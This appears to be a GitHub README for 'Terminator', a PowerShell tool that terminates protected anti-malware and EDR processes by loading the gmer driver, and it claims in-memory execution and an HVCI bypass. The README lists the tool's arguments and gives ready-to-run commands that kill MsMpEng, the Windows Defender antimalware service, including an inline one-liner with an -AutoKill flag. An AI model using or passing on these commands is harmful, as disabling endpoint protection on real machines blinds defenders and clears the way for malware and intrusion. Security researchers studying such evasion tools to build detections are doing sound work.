xiosec / Terminator

PowerShell script to terminate protected processes such as anti-malware and EDRs.

Invoke-Terminator

Terminator is a powershell script that terminates protected processes such as anti-malware and EDRs through the gmer driver.

• in-memory
• HVCI bypass

Usage

<#
----------------------------
        Terminator

github : github.com/xiosec
twitter: twitter.com/xiosec
----------------------------

* Arguments
    * -ServiceName
    * -ProcName
    * -ProcId
    * -driverPath
    * -AutoKill
#>

Invoke-Terminator -ServiceName terminator -ProcName MsMpEng 

inline

powershell -c ". .\Invoke-Terminator.ps1; Invoke-Terminator -ProcName MsMpEng -AutoKill"

Example

In this example, we kill the MsMpEng process, which is related to the antimalware service.

Links

gmer64.sys

Blackout

License

Released under GPL-3.0 by @xiosec